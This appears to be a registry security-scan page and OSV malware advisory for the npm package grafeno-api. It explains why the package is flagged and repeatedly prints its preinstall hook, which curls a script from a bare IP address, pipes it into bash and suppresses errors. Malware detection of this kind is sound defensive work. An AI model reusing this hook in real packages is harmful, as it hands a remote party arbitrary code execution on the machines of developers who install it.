registry / grafeno-api / 1.0.0

grafeno-api@1.0.0

Grafeno API client

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package triggers remote shell execution before installation completes. The fetched script is not included for review.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation

Impact

A remote server can run arbitrary commands as the installing user.

Mechanism

Silent download-and-execute shell pipeline

Attack narrative

The package uses an automatic preinstall hook to invoke curl against a hard-coded host and pipe the response directly into Bash. Because the downloaded script is remote and unpinned, its operator controls code executed with the installer’s privileges. Errors are caught and ignored.

Rationale

The confirmed preinstall hook performs concealed remote code execution from an unreviewable payload. The harmless-looking runtime stub does not mitigate this install-time behavior.

Evidence

package.jsonindex.js

Network endpoints1

216.126.236.46/x.sh

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-15501

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in grafeno-api (npm)

Details

package.json declares a preinstall script that shells out via child_process to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash, running attacker-controlled code on the installer's machine at npm install time. The fetch is unpinned, uses plain HTTP to a bare IP with no integrity check, and is wrapped in a try/catch that suppresses errors. The shipped index.js is a one-line stub exporting a no-op request() function, so the package provides no legitimate functionality — the manifest lifecycle hook is the entire payload, and the 'API client' framing is a cover story. ## Source: ossf-package-analysis (e30333357bace03d536c107ea6180be7a1951073192c1647bcb028e9fac3d633) The OpenSSF Package Analysis project identified 'grafeno-api' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook silently downloads a shell script from a hard-coded remote host and pipes it to Bash.
The hook suppresses failures, making the install-time remote execution less visible.

Evidence against

The runtime entry point only exports a minimal resolved-promise request stub.
No other package files are present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 57 B of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}\""

High

Suspicious Lifecycle Evidence

The preinstall hook silently downloads a shell script from a hard-coded remote host and pipes it to Bash.

package.jsonView on unpkg · L7

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}\""

High

Suspicious Lifecycle Evidence

The preinstall hook silently downloads a shell script from a hard-coded remote host and pipes it to Bash.

package.jsonView on unpkg · L7

Findings

1 Critical2 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present